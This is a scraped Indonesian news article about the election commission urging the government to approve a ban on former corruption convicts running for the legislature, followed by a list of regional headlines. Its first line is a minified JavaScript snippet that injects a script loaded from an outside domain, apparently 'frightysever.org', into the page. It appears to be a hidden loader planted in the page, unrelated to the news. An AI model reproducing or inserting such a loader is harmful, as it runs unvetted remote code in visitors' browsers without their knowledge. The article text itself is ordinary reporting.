(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Usulan KPU Soal Mantan Koruptor Dilarang Nyaleg Tak Digubris Pemerintah


Masih Ngotot

Ketua KPU Arief Budiman dan Komisioner KPU Hasyim Asy’ari bertemu Dirjen Perundangan-undangan Kementerian Hukum dan HAM, Widodo Eka Cahyana. Dalam pertemuan itu, KPU mengupayakan agar Peraturan KPU (PKPU) tentang larangan nyaleg bagi eks narapidana korupsi segera disahkan pemerintah.

Arief juga percaya pemerintah memiliki pandangan yang sama dengan pihaknya. “Tentu segeralah (disahkan). Saya percaya Kemenkumham melihat fakta dan urgensinya,” kata Arief di Kantor Kementrian Hukum dan HAM, Jalan Rasuna Said, Jalan Merdeka Selatan, Selasa (5/6).

Untuk itu, Arief meminta PKPU tersebut dijadikan prioritas dalam pembahasan di Kemenkumham. Apalagi, kata dia, pembuatan PKPU telah melalui proses ketat dengan mengikuti UU yang ada. “Sekian bulan sebelum ini, sudah harus DPS (daftar pemilihan sementara), sekian bulan sebelum harus penetapan calon dan seterusnya, jadi itu semua tidak bisa kita lewati, kita harus berjalan tepat waktu,” imbuh Arief.

Apalagi, lanjut Arief, pendaftaran calon legislatif tinggal menghitung waktu. Dia meminta PKPU ini bisa menjadi perhatian bersama antara pemerintah dan KPU. “Tahapan pemilu yang diatur secara ketat oleh UU. Nah, jadi kami berharap ini jadi perhatian tanggal 4-17 Juli (2018) akan ada pendaftaran, jadi mohon ini jadi perhatian bersama,” tuturnya.

Aturan tentang larangan mantan napi koruptor untuk mencalonkan diri sebagai anggota legislatif, sebenarnya ditolak DPR dalam Rapat Dengar Pendapat (RDP) pada Selasa (22/5). Namun, KPU tetap berkukuh akan merealisaskan wacana tersebut.

Jika merujuk pada putusan MK Nomor 92/PUU-XIV/2016, KPU merupakan lembaga independen. Sehingga keputusan untuk membentuk aturan soal larangan napi itu, dapat tetap dibuat. (ammar)

Reporter: Ammar
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

21 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

21 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

1 hari ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

1 hari ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

2 hari ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

2 hari ago

This website uses cookies.